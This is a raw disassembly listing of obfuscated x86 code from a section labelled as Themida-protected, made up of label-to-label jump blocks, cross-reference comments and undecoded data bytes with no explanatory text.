loc_53ABB7:				; CODE XREF: Themida_:00539582j
		mov	esi, 1B4425h
		jmp	loc_53811B
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 2C48124h, 28000000h,	2CE952D0h, 53FFFFCAh, 0EC83E389h
		dd 24348904h, 4BA52h, 0D6890000h, 0E9F3015Ah, 0FFFFA9F2h
		dd 8AB55166h, 5966EB30h, 8B66DE28h, 0C481241Ch,	2, 53A6B050h
		dd 0C780C6B7h, 83C780FFh, 0EF80CFFEh, 4A6DE922h, 0EC830000h
		dd 243C8904h, 0C781E789h, 4, 615968h, 240C8900h, 2B9h
		dd 7EFE900h, 0E9500000h, 0E62h
; ---------------------------------------------------------------------------

loc_53AC3C:				; CODE XREF: Themida_:00535F63j
		mov	[esp], edi
		jmp	loc_53847B
; ---------------------------------------------------------------------------
		dd 4EC8355h, 83242489h,	5D042404h, 6BAC6852h, 0F75A38F1h
		dd 1729E9D2h, 132D0000h, 5F7CF267h, 8E9D029h, 1000044h
		dd 0EEE3E9C3h, 1487FFFFh, 24248B24h, 840FC009h,	3BC3h
		dd 1AEE68h, 0CB44E900h,	0E8C1FFFFh, 50C83108h, 81E18951h
		dd 4C1h, 4E98300h, 5E87E9h
		db 0
; ---------------------------------------------------------------------------

loc_53ACA1:				; CODE XREF: Themida_:0053FB9Fj
		pop	eax
		sub	al, 0AEh
		sub	al, dh
		add	al, 0AEh
		mov	edx, [esp]
		add	esp, 4
		push	133Ch
		mov	[esp], edi
		jmp	loc_538F00
; ---------------------------------------------------------------------------
		db 0B9h
		dd 224B3D80h, 8104E1C1h, 0E504BCE1h, 0F7C9812Ch, 815A210Ah
		dd 0FFFFFFC1h, 20E981FFh, 811E4179h, 0A06E2CC1h, 59CD019Fh
		dd 10B3E9h
		db 0
; ---------------------------------------------------------------------------

loc_53ACE9:				; CODE XREF: Themida_:0053AE69j
		pop	ebp
		sub	esi, edi
		jmp	loc_537146
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 0
		dd 8911AF61h, 0EB815DEBh, 1, 162EE9h, 242C8B00h, 0FFD795E9h
		dd 243C33FFh, 959E9h, 81DBF700h, 0CE59E2CBh, 4F00E933h
		dd 0E5BF0000h, 21406071h, 0DF05E9FAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53AD2E:				; CODE XREF: Themida_:0053D67Aj
		pop	ecx
		jmp	loc_5367D4
; ---------------------------------------------------------------------------
		dd 0C8684ABDh, 8EDC15Dh, 5B03C581h, 0EB29301Ah,	81C3015Dh
		dd 78236BC3h, 428CE930h, 14870000h, 0C4815C24h,	4, 1519E952h
		dd 5A660000h, 0B1E91F04h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53AD6B:				; CODE XREF: Themida_:00541704j
		mov	eax, 4
		add	edi, eax
		jmp	loc_53A731
; ---------------------------------------------------------------------------
		db 4
aUzsk		db 'žZéŠ$',0
		dw 8900h
		dd 4832424h, 34FF0424h,	0E9555B24h, 1005h
; ---------------------------------------------------------------------------

loc_53AD90:				; CODE XREF: Themida_:005373B9j
		mov	ebx, 22C16EF5h
		sub	ebx, 0BA947F16h
		add	eax, ebx
		pop	ebx
		xor	edx, eax
		jmp	loc_536164
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 24048B04h, 4C481h, 48F0000h,	0F247E924h, 0DF2CFFFFh
		dd 0F667B551h, 2EDC0DDh, 2C10ED80h, 28E20467h, 4E22CE8h
		dd 0F8285967h, 0E9521604h, 5198h
; ---------------------------------------------------------------------------

loc_53ADDC:				; CODE XREF: Themida_:00538B46j
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		jmp	loc_53E1F5
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 5E2414F7h, 0BADEF681h, 1BE9FF57h, 81000052h,	0BA1F24C2h
		dd 0A768E943h, 248BFFFFh, 0E3C8E924h
		db 2 dup(0FFh)
word_53AE12	dw 2168h		; DATA XREF: Themida_:005352F4o
		dd 0E9000018h, 0FFFFDE75h, 5F9BF681h, 9DE9118Bh, 68FFFFABh
		dd 33F3h, 595E9h, 24048F00h, 0FFC74FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53AE39:				; CODE XREF: Themida_:0053FA9Fj
		mov	esi, 5D5E6502h
		sub	ebx, esi
		jmp	loc_53B63A
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 5
		dd 4, 0E904E883h, 64F1h, 6215C281h, 59E9502Bh
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53AE5F:				; CODE XREF: Themida_:0054143Bj
		mov	[esp], ebp
		mov	ebp, 0A6233136h
		add	edi, ebp
		jmp	loc_53ACE9
; ---------------------------------------------------------------------------

loc_53AE6E:				; CODE XREF: Themida_:0053BA89j
		add	esp, 4
		add	al, dh
		jmp	loc_537A7E
; ---------------------------------------------------------------------------
		dd 81243C8Bh, 4C4h, 7C015E00h, 5E5F0424h, 4E4FE9h, 242C8B00h
		dd 8F04C483h, 248B2404h, 4896624h, 0A4C1E924h, 0C583FFFFh
		dd 4B41E9FFh, 0C7810000h, 4, 4EF81h, 3C870000h,	8F545C24h
		dd 4832404h, 0CCE90424h, 8F000042h, 665C2404h, 9C240429h
		dd 0FFA48EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53AED5:				; CODE XREF: Themida_:0053EFA0j
		mov	[esp], ecx
		pop	eax
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_53C799
; ---------------------------------------------------------------------------

loc_53AEED:				; CODE XREF: Themida_:005394AEj
		pop	ecx
		push	esi
		jmp	loc_5408A8
; ---------------------------------------------------------------------------

loc_53AEF4:				; CODE XREF: Themida_:00540256j
		pop	ecx
		sub	edi, 363711DCh
		inc	edi
		sub	edi, 694951A5h
		add	ecx, edi
		jmp	loc_540633
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 8B24048Fh, 8B662424h, 68562404h, 67F9h, 83242489h, 5E042404h
		dd 4C681h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	edi
		mov	edi, 304D00F8h
		neg	edi
		and	edi, 8F05D70h
		xor	edi, 8B05D02h
		mov	ecx, edi
		pop	edi
		jmp	loc_538B73
; ---------------------------------------------------------------------------

loc_53AF65:				; CODE XREF: Themida_:00538B94j
		xchg	ebp, [esp]
		pop	esp
		xor	ecx, edx
		pop	edx
		xor	edi, ecx
		pop	ecx
		push	edi
		mov	ecx, [esp]
		add	esp, 4
		pop	edi
		rep movsd
		add	esp, [edx+38h]
		jmp	loc_53A980
; ---------------------------------------------------------------------------
		dd 251BC281h, 0C2811FB2h, 5F8825ECh, 0EA81F201h, 5F8825ECh
		dd 251BEA81h, 0EFE91FB2h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53AFA3:				; CODE XREF: Themida_:0053A1EFj
		add	al, dl
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edx
		push	ebx
		mov	bl, 7Dh
		mov	dh, bl
		pop	ebx
		jmp	loc_53FB61
; ---------------------------------------------------------------------------
		dd 0FFA39AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53AFC9:				; CODE XREF: Themida_:0053A215j
		push	ebp
		mov	ebp, 511A3170h
		add	ebp, 0AEE5CE94h
		jmp	loc_54021B
; ---------------------------------------------------------------------------

loc_53AFDA:				; CODE XREF: Themida_:00535D66j
		pop	esp
		sub	al, 1Fh
		jmp	loc_53C8FA
; ---------------------------------------------------------------------------
		dw 0C2BFh
		dd 81228373h, 0C3545F7h, 5FFE8938h, 29B9C681h, 0FE92116h
		dd 55FFFFC8h, 0FFFD33E9h, 4EC83FFh, 188DE9h, 0CC28100h
		dd 8111BA52h, 47778AEAh, 243C8B4Eh, 4C481h, 40E90000h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53B023:				; CODE XREF: Themida_:0053ED49j
		mov	[esp], ebp
		jmp	loc_536CAA
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 24348700h, 311E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53B03A:				; CODE XREF: Themida_:0053E775j
		xor	esi, 69C6587Eh
		add	esi, 1B407243h
		xor	esi, 81ACE9B9h
		add	ecx, esi
		pop	esi
		jmp	loc_53FEE1
; ---------------------------------------------------------------------------
		dd 0BA52C601h, 553C221Fh, 2BE9D629h, 84FFFFB2h,	0F8E99CC8h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53B06B:				; CODE XREF: Themida_:005375A0j
		add	ebx, 1E882CD4h
		add	ebx, 2D725AF3h
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	ecx
		mov	ecx, 78EF7699h
		jmp	loc_537619
; ---------------------------------------------------------------------------

loc_53B09A:				; CODE XREF: Themida_:0053BABFj
		add	eax, edi
		jmp	loc_54178B
; ---------------------------------------------------------------------------
a_s		db '[_éÑ#',0
		align 4
		dd 0E9241487h, 3368h, 0C381E389h, 4, 2EB81h, 1C330000h
		dd 241C3124h, 0E9241C33h, 28D3h, 0E958E300h, 3ED1h
; ---------------------------------------------------------------------------

loc_53B0D4:				; CODE XREF: Themida_:00538512j
		push	edx
		jmp	loc_53CBF0
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 26824h, 0C8B0000h, 4C48124h,	1000000h, 276859C8h, 89000013h
		dd 0E4E92404h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53B0FB:				; CODE XREF: Themida_:0053CFEFj
		sub	edi, 0A71CFAE9h
		jmp	loc_539B27
; ---------------------------------------------------------------------------
word_53B106	dw 6866h		; DATA XREF: Themida_:005352C8o
		dd 5466192Bh, 0FFF83EE9h, 4C281FFh, 55000000h, 4BDh, 5DEA0100h
		dd 3933E9h
		db 0
byte_53B125	db 66h,	8Fh, 2		; DATA XREF: Themida_:00535114o
		dd 0FFA236E9h, 81C501FFh, 0EC3E9DEDh, 0C5835830h, 74FF5502h
		dd 6DE90424h
		db 0C0h, 2 dup(0FFh)
byte_53B143	db 66h			; DATA XREF: Themida_:0053527Co
		dd 55240C8Bh, 45B5E9h, 3C8B5400h, 4C48124h, 51000000h
		dd 4B9h, 507BE900h, 0B0500000h,	28A02C61h, 24048BC3h, 4C481h
		dd 0EB800000h, 80C3289Fh, 0B6529FC3h, 0ACB450EEh, 2CBBE9h
		dd 5FFA0100h, 4EA81h, 14870000h, 0BBB4E924h
		db 2 dup(0FFh)
word_53B196	dw 8B66h		; DATA XREF: Themida_:00535160o
		dd 0CCE92404h, 8900002Ah, 53552404h, 1C1E48BBh,	8EBC13Fh
		dd 33AFE9h, 72BF5700h, 0B976FB31h, 0DE51FFA7h, 0C15FF901h
		dd 50E904E9h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------

loc_53B1C7:				; CODE XREF: Themida_:0053CCEBj
		push	edi
		mov	edi, esp
		jmp	loc_53F69F
; ---------------------------------------------------------------------------
		db 5
		dd 61140BB5h, 8324348Bh, 0FF5004C4h, 8B042474h,	0C4812404h
		dd 4, 8B24048Fh, 0A30F2424h, 0E99C2404h, 0FFFFA16Bh, 0D761C5BFh
		dd 85F7817Fh, 4F5FC547h, 274BC781h, 0C7815320h,	0B2E4750h
		dd 67A4EF81h, 0FE893923h, 0BAEE815Fh, 0C120BA20h, 0BF5703E6h
		dd 1, 2E04E9h, 2414F700h, 0E92434FFh, 0FFFFCB69h, 0C9535E05h
		dd 241C8B22h, 57D7E9h, 0B4E95800h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53B24B:				; CODE XREF: Themida_:0053651Dj
		shl	esi, 1
		shl	esi, 3
		jmp	loc_536987
; ---------------------------------------------------------------------------
		db 43h,	81h, 0E3h
		dd 70702326h, 9300F381h, 0D801859Dh, 2274E9h, 5192BB00h
		dd 66E974CBh, 8B00000Ah, 2C812424h, 0F871E524h,	24048144h
		dd 1DA0FE7h, 6405BD55h,	6C012B65h, 3AE90424h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53B293:				; CODE XREF: Themida_:0054007Dj
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		push	71E0h
		mov	[esp], esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		jmp	loc_538206
; ---------------------------------------------------------------------------
		db 0BEh, 0Ch, 2Dh
		dd 0F789765Ah, 0FFB5DEE9h, 0CE8158FFh, 5CB0027Bh, 0FFAB56E9h
		dd 545350FFh, 56A7E9h, 0E9CA2900h, 52F5h, 8DE9555Bh, 5E00001Bh
		dd 5202EDC1h, 3460B850h, 0A5BA74D5h, 1F7020Ah, 24048BC2h
		dd 0E904C483h, 0FFFFE4E2h, 24048F54h, 4240481h,	8B000000h
		dd 41E92404h, 8B00005Eh, 9AE92404h, 0B1FFFFDDh,	0C7C3E98Fh
		dd 0C481FFFFh, 4, 6A8468h, 242C8900h, 0FFA251E9h, 240C8BFFh
		dd 8004C483h, 9E2C13C6h, 2CE9F028h, 0E9FFFFFAh,	0FFFFA013h
; ---------------------------------------------------------------------------

loc_53B350:				; CODE XREF: Themida_:0053F4A1j
		add	esi, edi
		pop	edi
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_53BBCA
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		push	17B8h
		mov	[esp], ecx
		jmp	loc_5381A1
; ---------------------------------------------------------------------------

loc_53B378:				; CODE XREF: Themida_:0053FCBCj
		add	esp, 4
		push	ebx
		mov	ebx, 20h
		sub	ebx, 38D30E9Bh
		jmp	loc_53D0CD
; ---------------------------------------------------------------------------
		dd 1C8BDD01h, 1127E924h, 34FF0000h, 0C4835A24h,	2C340404h
		dd 4E800FBh, 53342CFBh,	0E0E94EB3h, 81000017h, 4EEh, 24348700h
		dd 8924248Bh, 0EC83242Ch, 0E48DE904h, 2C89FFFFh, 566BE924h
		dd 3C330000h, 243C3124h, 0FFF934E9h, 0EB835EFFh, 241C8704h
		dd 8924248Bh, 0F5682414h, 89000068h, 148B2404h,	0E3895324h
		dd 4C381h, 0EB810000h, 4, 5C241C87h, 54242C89h,	468565Dh
		dd 5E000000h, 0DEE9F501h, 81FFFFCEh, 736613C1h,	2E9C163h
		dd 0FFB060E9h, 98BB53FFh, 11F5121h, 0EF815BDFh,	3F2D6365h
		dd 0E955CF01h, 37BCh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, 71BF77B7h
		jmp	loc_5392BA
; ---------------------------------------------------------------------------
		dd 2709E981h, 0CF8938B3h, 5FF82959h, 0BD55E829h, 622B3A15h
		dd 41F5F581h, 81452AECh, 4F354AEDh, 0EE6EE911h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53B476:				; CODE XREF: Themida_:0053B89Fj
		mov	edi, [esp]
		add	esp, 4
		sub	ebx, 20506445h
		add	ebx, edi
		add	ebx, 20506445h
		add	dword ptr [ebx], 1
		mov	ebx, [esp]
		jmp	loc_5384DC
; ---------------------------------------------------------------------------

loc_53B498:				; CODE XREF: Themida_:005355D9j
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		pop	dword ptr [eax]
		jmp	loc_535363
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 14h
		dd 18685324h, 51000016h, 0DEE9E189h, 53FFFFCEh,	4BBh, 0E9DF0100h
		dd 0FFFFEFBDh
; ---------------------------------------------------------------------------

loc_53B4C8:				; CODE XREF: Themida_:0053989Aj
		mov	[esp], ecx
		mov	ecx, 2
		jmp	loc_53565B
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 89h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53B4DB:				; CODE XREF: Themida_:0053E902j
		push	ecx
		mov	ecx, 2000h
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 42183396h
		shr	edi, 2
		xor	edi, 10860CE1h
		sub	esi, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, ecx
		jmp	loc_539342
; ---------------------------------------------------------------------------
		db 89h
		dd 0C9B9240Ch, 810EE556h, 0B2F52EC1h, 0B4F2E905h
		db 2 dup(0FFh)
word_53B522	dw 8B66h		; DATA XREF: Themida_:00535208o
		dd 0EC812404h, 4, 0FFE3B6E9h, 0C5015FFFh, 0A32E9h
		db 0
; ---------------------------------------------------------------------------

loc_53B539:				; CODE XREF: Themida_:00536682j
		shr	ecx, 6
		add	ecx, 4F250056h
		jmp	loc_5370B8
; ---------------------------------------------------------------------------
		db 83h
		dd 348704C6h, 0C6815C24h, 4, 8B243487h,	91E92424h, 80000014h
		dd 0D800B7C3h, 81241C8Bh, 4C4h,	0E7A9E900h, 2489FFFFh
		dd 4B95124h, 1000000h, 5904244Ch, 40558h, 0E8830000h, 4EC8304h
		dd 54CBE9h, 24343300h, 33243431h, 0E95C2434h, 7DDh, 3E26BE56h
		dd 0F7567D5Ch, 555E2414h, 1560E9h, 4B95100h, 1000000h
		dd 1C3359CBh, 563BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53B5C2:				; CODE XREF: Themida_:0053C1F0j
		add	edi, 4
		jmp	loc_537824
; ---------------------------------------------------------------------------
		db 0BFh, 47h, 39h
		dd 8F680005h, 0E900006Ch, 4E79h, 0FF9D82E9h, 240C33FFh
		dd 33240C31h, 0CDE9240Ch, 5A00001Fh, 8B241C87h,	4892424h
		dd 9D65E924h, 0EEC1FFFFh, 14AAE907h, 0C4810000h, 4, 34FFEB21h
		dd 0F4CCE924h, 68FFFFh,	28000000h, 2C8A242Ch, 4C48324h
		dd 66E1E580h, 4EB652h, 0F730E9F5h, 5E53FFFFh, 5561E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53B63A:				; CODE XREF: Themida_:0053AE40j
		pop	esi
		push	eax
		mov	eax, 0BA156C2h
		dec	eax
		jmp	loc_538D16
; ---------------------------------------------------------------------------
		db 81h
		dd 75C709C5h, 5DE801BDh, 0C3E9F801h
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53B657:				; CODE XREF: Themida_:00537BE4j
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_5388AE
; ---------------------------------------------------------------------------
		dw 815Ch
		dd 4C5h, 0D654E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53B67A:				; CODE XREF: Themida_:0053CA23j
		pop	eax
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	edi
		mov	edi, 6C6C713Ah
		add	edi, 7288748Fh
		jmp	loc_53E0C1
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 0F7EFE904h, 1487FFFFh, 24248B24h, 0FF2434FFh, 81582434h
		dd 4C4h, 19756800h, 0C890000h, 83E18924h, 1C8904ECh, 3AB85024h
		dd 520E829h, 1E6958ACh,	0CC702E35h, 0F9FE963h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53B6D6:				; CODE XREF: Themida_:00536699j
		add	esp, 4
		sub	edi, 7E8632A0h
		jmp	loc_536C38
; ---------------------------------------------------------------------------

loc_53B6E4:				; CODE XREF: Themida_:00538486j
		sub	edi, 4E946B40h
		add	edi, ebx
		add	edi, 4E946B40h
		pop	ebx
		xor	edi, 715024EBh
		push	1528h
		jmp	loc_541264
; ---------------------------------------------------------------------------

loc_53B703:				; CODE XREF: Themida_:00538CA7j
		add	ebp, 37364150h
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_541770
; ---------------------------------------------------------------------------
		dw 0C083h
		dd 496BE904h, 1C890000h, 0AE95424h, 5600003Dh, 0C681E689h
		dd 4, 0E904C683h, 3AA5h
; ---------------------------------------------------------------------------

loc_53B73C:				; CODE XREF: Themida_:005357ACj
		shr	esi, 4
		neg	esi
		jmp	loc_53BEE7
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 49527A54h, 0F5D0E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53B752:				; CODE XREF: Themida_:0053FE0Aj
		sub	ebp, ebx
		pop	ebx
		jmp	loc_53A4FD
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0E7895724h, 0E904EC83h, 0FFFFC992h, 4C1815Ch, 55000000h
		dd 562BE9h
		db 0
byte_53B775	db 0ADh, 55h, 0BDh	; DATA XREF: Themida_:00535200o
		dd 7E3779F5h, 3634E9h, 24348900h, 3D04E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53B78A:				; CODE XREF: Themida_:0053C53Fj
		xchg	edx, [esp]
		jmp	loc_536E25
; ---------------------------------------------------------------------------
		dw 0FA21h
		dd 0FFE8BBE9h, 0E95658FFh, 1893h, 315EF129h, 240C8BC8h
		dd 4C481h, 0C3310000h, 2708EA81h, 0C281139Bh, 76DF02F5h
		dd 4EC81h, 4890000h, 41AAB824h,	0E95356FFh, 0FFFFB9D6h
		dd 0C141D1F7h, 2BE908E9h, 5000000h, 4, 33668h, 24348900h
		dd 4BEh, 8BF00100h, 0C4812434h,	4, 31240433h, 4332404h
		dd 0FA6DE924h, 0E1C1FFFFh, 13C18105h, 890CBB34h, 0CB8159CBh
		dd 551152DDh, 73DB68h, 24048900h, 1822B951h, 0C181267Ah
		dd 192E202Eh, 8105E1C1h, 110FE6C1h, 41D1F758h, 6F1BF181h
		dd 0C8893823h, 83240C8Bh, 0B85004C4h, 57B76342h, 0E9D8F740h
		dd 31E7h
; ---------------------------------------------------------------------------

loc_53B854:				; CODE XREF: Themida_:00537FADj
		mov	edi, [esp]
		add	esp, 4
		add	edi, 1C8403FBh
		jmp	loc_5369F0
; ---------------------------------------------------------------------------
byte_53B865	db 66h,	8Bh, 4		; DATA XREF: Themida_:0053512Co
		dd 0E7895724h, 4C781h, 0BB530000h, 6C1947C4h, 276BE9h
		dd 58ED8100h, 81759669h, 617C3CC5h, 0BCE9523Bh,	50FFFFCFh
		dd 0E00EFCB8h, 0D767E92Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53B89A:				; CODE XREF: Themida_:0053A3F1j
		mov	ebp, edi
		mov	ebx, ebp
		pop	ebp
		jmp	loc_53B476
; ---------------------------------------------------------------------------
		dd 89241C89h, 2DFBE9E3h, 88530000h, 3AE951E3h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53B8B7:				; CODE XREF: Themida_:0053C75Aj
		pop	edi
		push	edi
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_539C64
; ---------------------------------------------------------------------------
		dd 387172BEh, 0F7DE871Dh, 51DE87DBh, 965B71B9h,	0E9D9F71Bh
		dd 0FFFFB6D1h
; ---------------------------------------------------------------------------

loc_53B8E4:				; CODE XREF: Themida_:0053634Dj
		xor	esi, [esp]
		pop	esp
		push	ecx
		mov	cl, 34h
		push	ebx
		mov	bh, 8Dh
		inc	bh
		jmp	loc_536AF1
; ---------------------------------------------------------------------------

loc_53B8F5:				; CODE XREF: Themida_:005360B0j
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_54160D
; ---------------------------------------------------------------------------

loc_53B908:				; CODE XREF: Themida_:00539707j
		add	eax, esi
		add	eax, 7E611055h
		pop	esi
		jmp	loc_53DC16
; ---------------------------------------------------------------------------
		db 29h,	0DDh, 5Bh
		dd 0FFFBB8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53B91D:				; CODE XREF: Themida_:0053F082j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_540B20
; ---------------------------------------------------------------------------
byte_53B92D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005351B8o
		dd 0E0895024h, 405h, 4E88300h, 5C240487h, 83241489h, 4AE904ECh
		dd 2C000052h, 0E3686677h, 5006E92Dh, 0EB810000h, 4CC1985Ch
		dd 515BD801h, 2B9h, 59C80100h, 4EC81h, 4890000h, 2474FF24h
		dd 24048B04h, 0E9E28952h, 5C68h, 6824048Bh, 67DAh, 68242C89h
		dd 924h, 81242489h, 42404h, 535D0000h, 0D97459BBh, 0CB814B40h
		dd 41BE33F5h, 77F9EB81h, 0D9E941FFh, 0FFFFFFF9h, 2C8B2434h
		dd 0C3E95724h, 6600000Bh, 0E9240C89h, 0FFFF999Bh
; ---------------------------------------------------------------------------

loc_53B9C8:				; CODE XREF: Themida_:00538DF6j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_53F9F9
; ---------------------------------------------------------------------------
a3Sx		db '3,$éX&',0
		dd 4EC8300h, 0E9241489h, 0FFFFC32Bh, 525F5457h,	8B3450BAh
		dd 97EA8173h, 81694B13h, 142160EAh, 3CF28176h, 81707737h
		dd 0DB4860CAh, 0F2814A7Bh, 0FFDFC860h, 815AD701h, 4C7h
		dd 243C8700h, 0E924248Bh, 20E6h
; ---------------------------------------------------------------------------

loc_53BA28:				; CODE XREF: Themida_:00537913j
		mov	ebx, 7C92222h
		xor	edi, ebx
		jmp	loc_53FA8E
; ---------------------------------------------------------------------------
		dd 87EB875Bh, 0FD8747FDh, 124E9h, 80C68100h, 21F287F1h
		dd 3BE95EF0h, 54FFFFF2h, 6E9D685Bh, 3C890000h, 4BF24h
		dd 0FB010000h, 8B2434FFh, 0C483243Ch
byte_53BA68	db 4			; DATA XREF: Themida_:0053F72Eo
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_53A316
; ---------------------------------------------------------------------------
		db 66h
		dd 9C240421h, 0FF98E2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53BA81:				; CODE XREF: Themida_:0053F621j
		sub	dh, cl
		add	dh, 87h
		mov	ecx, [esp]
		jmp	loc_53AE6E
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 50EBB724h, 0E73054B4h, 0F31CE958h, 0B8FFFFh,	1000000h
		dd 0E95153C8h, 2B63h
; ---------------------------------------------------------------------------

loc_53BAAC:				; CODE XREF: Themida_:005380CFj
		pop	eax
		push	edx
		mov	edx, 2
		add	ebp, edx
		jmp	loc_53EBC0
; ---------------------------------------------------------------------------

loc_53BABA:				; CODE XREF: Themida_:005415AFj
		mov	edi, 4
		jmp	loc_53B09A
; ---------------------------------------------------------------------------

loc_53BAC4:				; CODE XREF: Themida_:00537D2Aj
		sub	edi, 6C422CCh
		xor	edi, 2EDDCCBEh
		jmp	loc_540BB8
; ---------------------------------------------------------------------------

loc_53BAD5:				; CODE XREF: Themida_:00537F37j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_53FD4A
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 4Fh
		dd 81661C43h, 2776DAEBh, 70EB817Ah, 8106BF03h, 0E2E949C3h
		dd 0E9DD2177h, 0FFFFAC17h, 0E9C3015Dh, 0FFFFC198h, 4246C81h
		dd 34A7054h, 4244401h, 4244481h, 34A7054h, 0FFC54CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53BB21:				; CODE XREF: Themida_:00535C43j
		push	eax
		mov	eax, 7DAA7D3Ah
		jmp	loc_537988
; ---------------------------------------------------------------------------
aZs		db 'ZéÔ ',0
		align 2
a34LS0		db '34$‹$$éÔ0',0
		dd 0D1C20900h, 2663E9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53BB46:				; CODE XREF: Themida_:0053779Bj
		add	esi, 4
		jmp	loc_53CCF0
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 96h
		dd 892A150Ah, 4C015DE9h, 5E590424h, 3EE9E9h, 31EB3100h
		dd 0A4ECE9DDh, 0E089FFFFh, 405h, 55D4E900h, 0D0010000h
		dd 28166005h, 2434FF4Ah, 2ABE95Ah, 0B5BA0000h, 1DFE79Eh
		dd 61E95AD6h, 89000011h, 0B24E9E6h, 87590000h, 248B2404h
		dd 1AFEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53BBAA:				; CODE XREF: Themida_:0053D02Ej
		push	edx
		jmp	loc_53615A
; ---------------------------------------------------------------------------
		dd 0A234E945h
		db 2 dup(0FFh),	5Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 44EB1121h
		jmp	loc_539F9B
; ---------------------------------------------------------------------------

loc_53BBC5:				; CODE XREF: Themida_:00539273j
		pop	ebx
		xchg	edx, [esp]
		pop	esp

loc_53BBCA:				; CODE XREF: Themida_:0053B35Fj
		push	7483h
		mov	[esp], ebx
		jmp	loc_53855F
; ---------------------------------------------------------------------------
aUssc		db 'USéC',8,0
		db 2 dup(0), 0C5h
		dd 8B99ED80h, 0C4832404h, 0E9E82804h, 0FFFFDA1Fh, 0FDC9E95Ch
		dd 0F501FFFFh, 242C875Eh, 28E9E9h, 51535A00h, 0EB88EFB5h
